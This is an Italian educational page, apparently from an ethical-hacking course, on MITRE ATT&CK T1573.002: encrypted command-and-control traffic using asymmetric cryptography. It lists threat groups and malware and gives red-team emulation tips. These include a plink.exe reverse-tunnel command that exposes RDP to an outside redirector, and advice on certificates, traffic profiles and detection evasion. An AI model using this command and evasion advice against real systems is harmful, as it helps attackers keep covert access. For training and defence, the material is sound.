Iscriviti al webinar gratuito del 20 Ottobre per diventare Ethical Hacker! Scopri di più
Crittografia Asimmetrica: Asymmetric Cryptography (T1573.002)
La tecnica T1573.002 descrive l'uso di algoritmi di crittografia asimmetrica per occultare il traffico di comando e controllo, sfruttando coppie di chiavi pubblica/privata come in RSA, ElGamal e nelle handshake SSL/TLS. Sebbene molti protocolli passino poi a cifratura simmetrica per efficienza, la fase di scambio chiavi resta asimmetrica e classifica l'intera sessione sotto questa sotto-tecnica.
La tecnica si colloca nella tattica TA0011 (Command and Control), la fase in cui l'avversario stabilisce e mantiene un canale di comunicazione persistente con i sistemi compromessi. L'obiettivo è mimetizzare il traffico malevolo dentro flussi cifrati indistinguibili dal normale traffico web, rendendo inefficaci firme di rete tradizionali e ispezione a pacchetti.
I numeri raccontano la portata del fenomeno: 11 gruppi APT documentati, 73 famiglie di software malevolo e 5 campagne conclamate, contrastate da appena 2 mitigazioni principali. Fra gli utilizzatori figurano attori state-sponsored come APT42, Volt Typhoon, RedEcho e gruppi cybercrime come FIN6, FIN8 e Medusa Group. La lista dei malware include nomi di primo piano quali Cobalt Strike, Sliver, Empire, REvil, WannaCry, IcedID, Dridex e Bazar, oltre a impianti di intelligence militare come ComRAT, Gazer, GoldMax e Cyclops Blink. La ubiquità di TLS rende questa tecnica una delle sfide difensive più rilevanti per SOC e team di threat hunting.
Simulare T1573.002 in un ingaggio red team significa costruire canali C2 cifrati che riproducano fedelmente il traffico HTTPS legittimo, evitando artefatti che tradiscano l'infrastruttura offensiva. Il punto di partenza tipico è Cobalt Strike (a pagamento), che implementa RSA con padding PKCS1 per proteggere i metadati di beacon, oppure alternative open source come Sliver (open source) che negozia sessioni via mutual TLS con scambio di chiavi RSA, e Mythic (open source) con profili C2 SSL configurabili.
Per chi lavora solo con toolkit gratuiti, Empire (open source) e Covenant (open source) offrono canali TLS pronti all'uso. In scenari più minimali, Pupy (open source) supporta trasporti SSL con opzioni RSA e AES, mentre Koadic (open source) fornisce comunicazioni TLS via stager JScript.
Una catena d'attacco realistica su Windows parte da payload iniziale che stabilisce un beacon HTTPS verso un redirector. Su Linux e macOS lo stesso pattern è ottenibile con FRP (Fast Reverse Proxy, open source), configurabile per accettare solo connessioni TLS, utile a esporre servizi interni oltre il perimetro simulando l'uso avversariale visto in scenari APT.
Per il tunneling SSH usato storicamente da FIN6, FIN8 e Cobalt Group, il classico plink.exe (open source, parte di PuTTY) permette di aprire tunnel verso un jump host: plink.exe -ssh -R 3389:127.0.0.1:3389 user@redirector -pw
Per emulare l'uso di Tor come canale C2 (comportamento di WannaCry), il pacchetto ufficiale tor (open source) espone SOCKS su porta 9050; il beacon può essere instradato con torsocks
L'aspetto critico dell'emulazione è la generazione dei certificati. Evitare certificati autofirmati con campi CN=localhost o valori di default: usare mkcert (open source) per sviluppo locale o certificati Let's Encrypt (gratuito) su domini registrati con categorization coerente rispetto al pretesto della campagna. Un profilo malleable di Cobalt Strike o un profilo HTTP di Sliver dovrebbe rispecchiare User-Agent, header e cadenza jitter realistica. Per il pentesting su ESXi, evitare handshake diretti verso IP esterni fuori pattern vCenter, dato che questa anomalia è oggetto di detection specifica.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo
2 minuti · 7 domande
Che professionista cyber sei?
Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.